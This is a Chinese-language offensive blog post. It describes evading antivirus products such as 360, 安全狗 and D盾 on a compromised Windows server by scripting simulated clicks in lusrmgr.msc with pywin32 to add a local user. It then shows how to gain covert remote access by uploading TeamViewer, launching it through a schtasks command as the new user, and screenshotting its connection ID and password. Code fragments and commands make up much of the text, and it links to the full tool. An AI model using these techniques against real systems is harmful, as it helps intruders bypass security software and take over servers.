0x01 About

嗯 这是一个企图Uninstall All AVs失败的产物

基本思路是模拟点击 输入

通过下面指令可运行360的卸载程序

cd "C:/Program Files/360/360safe/" & start uninst.exe

这程序的按钮有两个ShadowEdge保护

直接运行py脚本取点击会被拒绝

新建一个bat再用start来启动就可以绕过了

http://v.youku.com/v_show/id_XNDA1NzEyMzkyMA==.html?spm=a2h3j.8428770.3416059.1

如视频所示 模拟点击处最终确认按钮后无法点击

查阅资料得知这尼玛是360SPTools.exe设了很多阻碍 搞一天没突破

回念一想 不如直接添加用户 才有了本文

0x02 server

为了方便修改调整 采用Python做了本次任务的 不是每个目标上都有py的环境 所以手动配置咯

直接上传或使用下面脚本下载Python的embeddable版本到服务器(脚本不支持https 改半天实在没办法 需到Py官网下载后再上传到http的服务器上 带解压)

https://github.com/TheKingOfDuck/BypassAVAddUsers/blob/master/download.php

由于需要用到pywin32模块 该模块无法使用pip安装所以顺便安装一下

pip:

start python.exe ../get-pip.py

(踩坑经验:先修改环境目录下的python37._pth文件,去掉 #import site 前的注释再执行命令 否则也无法安装成功 不使用start来运行也安装不成功)

pywin32:

start python.exe -m pip install pywin32

执行完所有需要的依赖也就安装好了 无需GUI即可完成。

0x03 AddUsers

刚开始是想通过控制面板添加用户 可以通过脚本执行control userpasswords打开控制面板 但是步骤不叫繁琐 而且进程是explore 窗口不好控制。

可通过lusrmgr.msc(本地用户和组管理工具)来做。

打开后需要计算图中中间那个"用户"按钮的位置 经过测试发现 它到顶端的距离和到坐标的距离无人为调整的话是不会边的 所有可获取该窗口左上角点的坐标来计算其坐标

#输出MMCMainFrame的窗口名称
MMCMainFrame = win32gui.FindWindow("MMCMainFrame", None)
# print("#######################")
titlename = (win32gui.GetWindowText(MMCMainFrame))
# print(titlename)
# print("#######################")

hWndChildList = []
a = win32gui.EnumChildWindows(MMCMainFrame, lambda hWnd, param: param.append(MMCMainFrame),  hWndChildList)
# print(a)

#获取窗口左上角和右下角坐标
a, b, c, d = win32gui.GetWindowRect(MMCMainFrame)

a, b,即为需要的值

# 计算得出MMCMainFrame窗口的顶边距离“用户”这个标签120个坐标点 该值除非调动 否则不变
# userPosH = 237 -117
# print(userPosL)
# userPosL = 120
#计算得出MMCMainFrame窗口的坐标边距离“用户”这个标签120个坐标点 该值除非调动 否则不变
# userPosH = 1145 - 915
# print(userPosH)
# userPosH = 230

(a + 230, b + 120 )即为需要的值 实战中如有出入可采用PIL模块截图回传下来计算。

剩下的就是常规的模拟点击 模拟输入 完整代码见:

https://github.com/TheKingOfDuck/BypassAVAddUsers/blob/master/adduser.py

0x03 Test

360全家桶 安全狗 D盾 :

原视频在附件压缩包:

http://v.youku.com/v_show/id_XNDA1NzEyNTc1Ng==.html?spm=a2h3j.8428770.3416059.1

(云锁要求必须在服务区上安装 故尚未测试)

0x03 Summary

添加用户后如果服务器没开3389可上传一个单文件版本的teamviewer
再通过下面指令运行起来

schtasks /create /sc minute /mo 1 /tn “cat” /tr TV的路径  /ru 创建的用户名 /rp 创建的密码

使用PIL截图获取连接ID密码:

from PIL import ImageGrab
im = ImageGrab.grab()
im.save('screenshot.png')

如此一来就不用任何0day 全程合法文件的取得了远程桌面的权限。

源链接

Hacking more

...